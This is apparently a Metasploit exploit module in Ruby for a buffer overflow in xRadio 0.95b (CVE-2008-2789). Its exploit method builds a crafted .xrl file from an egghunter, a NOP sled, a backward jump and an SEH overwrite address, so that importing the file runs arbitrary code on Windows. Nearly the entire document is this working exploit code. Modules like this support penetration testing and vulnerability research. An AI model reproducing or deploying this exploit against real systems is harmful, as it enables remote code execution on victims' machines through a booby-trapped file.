89 lines
2.3 KiB
Ruby
89 lines
2.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'xRadio 0.95b Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in xRadio 0.95b.
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Using the application to import a specially crafted xrl file,
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a buffer overflow occurs allowing arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'b0telh0 <me[at]gotgeek.com.br>',
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],
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'References' =>
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[
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[ 'CVE', '2008-2789' ],
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[ 'BID', '46290' ],
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[ 'EDB', '16141' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => 'true'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500
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},
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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# pop eax - pop ebx - ret xradio.exe
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'Ret' => 0x0047E282
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 08 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
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], self.class)
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end
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def exploit
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eggoptions =
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{
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:checksum => true,
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:eggtag => 'w00t'
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}
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hunter,egg = generate_egghunter(payload.encoded, eggoptions)
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buffer = rand_text_alpha_upper(4066-egg.length)
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buffer << egg
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buffer << make_nops(10)
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buffer << hunter
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buffer << "\xeb\xd8\xff\xff" # nseh jmp back 40 bytes
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buffer << [target.ret].pack('V') # seh
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(buffer)
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end
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end
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